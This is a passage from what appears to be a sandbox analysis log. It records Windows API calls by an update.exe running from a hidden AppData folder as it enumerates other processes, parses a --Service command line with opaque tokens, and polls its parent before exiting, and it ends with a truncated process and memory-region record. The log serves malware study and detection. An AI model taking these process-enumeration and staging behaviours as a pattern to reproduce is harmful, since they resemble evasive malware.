CloseHandle (hObject=0xbc) returned 1 [0124.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x0 [0124.645] CloseHandle (hObject=0x0) returned 0 [0124.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x500) returned 0x0 [0124.645] CloseHandle (hObject=0x0) returned 0 [0124.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x53c) returned 0xbc [0124.645] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0124.645] CloseHandle (hObject=0xbc) returned 1 [0124.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x54c) returned 0x0 [0124.645] CloseHandle (hObject=0x0) returned 0 [0124.645] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x570) returned 0xbc [0124.645] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0124.646] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="reader_sl.exe") returned 0xd [0124.647] CloseHandle (hObject=0xbc) returned 1 [0124.647] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0124.647] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0124.678] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0124.678] CloseHandle (hObject=0xbc) returned 1 [0124.678] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f8) returned 0xbc [0124.678] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0124.680] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0124.681] CloseHandle (hObject=0xbc) returned 1 [0124.681] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7ac) returned 0xbc [0124.681] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0124.681] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0124.681] CloseHandle (hObject=0xbc) returned 1 [0124.681] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x494) returned 0xbc [0124.681] EnumProcessModules (in: hProcess=0xbc, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0124.682] GetModuleBaseNameW (in: hProcess=0xbc, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0124.682] CloseHandle (hObject=0xbc) returned 1 [0124.683] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6dd718, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe")) returned 0x5b [0124.683] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3") returned 1 [0124.683] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0124.683] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 1676 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x6de738*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" [0124.683] lstrcpyW (in: lpString1=0x455b98, lpString2="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" | out: lpString1="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC") returned="5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC" [0124.683] lstrcpyW (in: lpString1=0x45d0c8, lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0124.683] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0124.683] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0125.185] CloseHandle (hObject=0xbc) returned 1 [0125.185] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0125.185] Sleep (dwMilliseconds=0x1) [0125.200] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0125.200] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0125.714] CloseHandle (hObject=0xbc) returned 1 [0125.715] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0125.715] Sleep (dwMilliseconds=0x1) [0125.734] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0125.734] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0126.245] CloseHandle (hObject=0xbc) returned 1 [0126.245] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0126.245] Sleep (dwMilliseconds=0x1) [0126.261] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0126.261] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0126.775] CloseHandle (hObject=0xbc) returned 1 [0126.775] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0126.775] Sleep (dwMilliseconds=0x1) [0126.792] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0126.792] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0127.317] CloseHandle (hObject=0xbc) returned 1 [0127.317] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0127.317] Sleep (dwMilliseconds=0x1) [0127.321] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0127.321] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0127.836] CloseHandle (hObject=0xbc) returned 1 [0127.836] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0127.836] Sleep (dwMilliseconds=0x1) [0127.852] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0127.852] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0128.366] CloseHandle (hObject=0xbc) returned 1 [0128.366] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0128.366] Sleep (dwMilliseconds=0x1) [0128.382] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0128.382] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0128.897] CloseHandle (hObject=0xbc) returned 1 [0128.897] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0128.897] Sleep (dwMilliseconds=0x1) [0128.920] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0128.920] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0129.427] CloseHandle (hObject=0xbc) returned 1 [0129.427] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0129.427] Sleep (dwMilliseconds=0x1) [0129.455] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0129.455] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0129.958] CloseHandle (hObject=0xbc) returned 1 [0129.958] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0129.958] Sleep (dwMilliseconds=0x1) [0129.973] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0129.973] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0130.488] CloseHandle (hObject=0xbc) returned 1 [0130.488] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0130.488] Sleep (dwMilliseconds=0x1) [0130.504] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0130.504] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0131.018] CloseHandle (hObject=0xbc) returned 1 [0131.019] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0131.019] Sleep (dwMilliseconds=0x1) [0131.034] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0131.034] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0131.552] CloseHandle (hObject=0xbc) returned 1 [0131.552] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0131.552] Sleep (dwMilliseconds=0x1) [0131.566] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0131.566] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0132.080] CloseHandle (hObject=0xbc) returned 1 [0132.080] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0132.080] Sleep (dwMilliseconds=0x1) [0132.113] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0132.113] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0132.625] CloseHandle (hObject=0xbc) returned 1 [0132.625] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0132.625] Sleep (dwMilliseconds=0x1) [0132.651] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0132.651] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0133.156] CloseHandle (hObject=0xbc) returned 1 [0133.156] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0133.156] Sleep (dwMilliseconds=0x1) [0133.171] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0133.171] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0133.686] CloseHandle (hObject=0xbc) returned 1 [0133.686] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0133.686] Sleep (dwMilliseconds=0x1) [0133.708] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0133.708] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0134.217] CloseHandle (hObject=0xbc) returned 1 [0134.217] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0134.217] Sleep (dwMilliseconds=0x1) [0134.251] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0134.251] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0134.762] CloseHandle (hObject=0xbc) returned 1 [0134.762] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0134.762] Sleep (dwMilliseconds=0x1) [0134.782] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0134.782] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0135.293] CloseHandle (hObject=0xbc) returned 1 [0135.293] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0135.293] Sleep (dwMilliseconds=0x1) [0135.308] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0135.309] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0135.824] CloseHandle (hObject=0xbc) returned 1 [0135.824] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0135.824] Sleep (dwMilliseconds=0x1) [0135.839] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0135.839] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0136.354] CloseHandle (hObject=0xbc) returned 1 [0136.354] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0136.354] Sleep (dwMilliseconds=0x1) [0136.369] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0136.369] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0136.884] CloseHandle (hObject=0xbc) returned 1 [0136.884] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0136.884] Sleep (dwMilliseconds=0x1) [0136.900] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0136.900] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0137.414] CloseHandle (hObject=0xbc) returned 1 [0137.414] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0137.414] Sleep (dwMilliseconds=0x1) [0137.435] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0137.435] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0137.960] CloseHandle (hObject=0xbc) returned 1 [0137.960] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0137.960] Sleep (dwMilliseconds=0x1) [0137.976] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0137.976] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0138.491] CloseHandle (hObject=0xbc) returned 1 [0138.491] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0138.491] Sleep (dwMilliseconds=0x1) [0138.512] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0138.512] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0139.021] CloseHandle (hObject=0xbc) returned 1 [0139.021] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0139.021] Sleep (dwMilliseconds=0x1) [0139.037] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0139.037] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0139.552] CloseHandle (hObject=0xbc) returned 1 [0139.552] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0139.552] Sleep (dwMilliseconds=0x1) [0139.567] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0139.567] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0140.102] CloseHandle (hObject=0xbc) returned 1 [0140.102] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0140.102] Sleep (dwMilliseconds=0x1) [0140.113] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0140.113] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0140.628] CloseHandle (hObject=0xbc) returned 1 [0140.628] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0140.628] Sleep (dwMilliseconds=0x1) [0140.644] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0140.644] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0141.159] CloseHandle (hObject=0xbc) returned 1 [0141.159] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0141.159] Sleep (dwMilliseconds=0x1) [0141.174] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0141.174] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0141.690] CloseHandle (hObject=0xbc) returned 1 [0141.690] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0141.690] Sleep (dwMilliseconds=0x1) [0141.704] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0141.704] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0142.219] CloseHandle (hObject=0xbc) returned 1 [0142.219] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0142.219] Sleep (dwMilliseconds=0x1) [0142.235] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0142.235] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0142.750] CloseHandle (hObject=0xbc) returned 1 [0142.750] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0142.750] Sleep (dwMilliseconds=0x1) [0142.765] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0142.765] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0143.311] CloseHandle (hObject=0xbc) returned 1 [0143.311] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0143.311] Sleep (dwMilliseconds=0x1) [0143.311] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0143.311] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0143.826] CloseHandle (hObject=0xbc) returned 1 [0143.826] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0143.826] Sleep (dwMilliseconds=0x1) [0143.841] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0143.841] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0144.623] CloseHandle (hObject=0xbc) returned 1 [0144.623] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0144.623] Sleep (dwMilliseconds=0x1) [0144.649] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0144.649] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0145.152] CloseHandle (hObject=0xbc) returned 1 [0145.152] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0145.152] Sleep (dwMilliseconds=0x1) [0145.169] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0145.169] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0145.682] CloseHandle (hObject=0xbc) returned 1 [0145.682] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0145.682] Sleep (dwMilliseconds=0x1) [0145.698] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0145.698] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0146.213] CloseHandle (hObject=0xbc) returned 1 [0146.213] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0146.213] Sleep (dwMilliseconds=0x1) [0146.228] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0146.228] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0146.746] CloseHandle (hObject=0xbc) returned 1 [0146.746] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0146.746] Sleep (dwMilliseconds=0x1) [0146.766] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0146.766] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0147.273] CloseHandle (hObject=0xbc) returned 1 [0147.274] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0147.274] Sleep (dwMilliseconds=0x1) [0147.289] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0147.289] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0147.804] CloseHandle (hObject=0xbc) returned 1 [0147.804] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 0 [0147.804] Sleep (dwMilliseconds=0x1) [0147.851] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x68c) returned 0xbc [0147.851] WaitForSingleObject (hHandle=0xbc, dwMilliseconds=0x1f4) returned 0x102 [0148.365] CloseHandle (hObject=0xbc) returned 1 [0148.366] PeekMessageW (in: lpMsg=0x18d064, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18d064) returned 1 [0148.368] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fd38 | out: phModule=0x18fd38) returned 0 [0148.368] ExitProcess (uExitCode=0x0) [0148.369] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Process: id = "20" image_name = "update.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe" page_root = "0x67319000" os_pid = "0x494" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x7f8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Service 2040 5sQa7p3KFH0h1EIQpNMDhhbQdqopHt59HIaPvsLC LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e23f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2767 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2768 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = 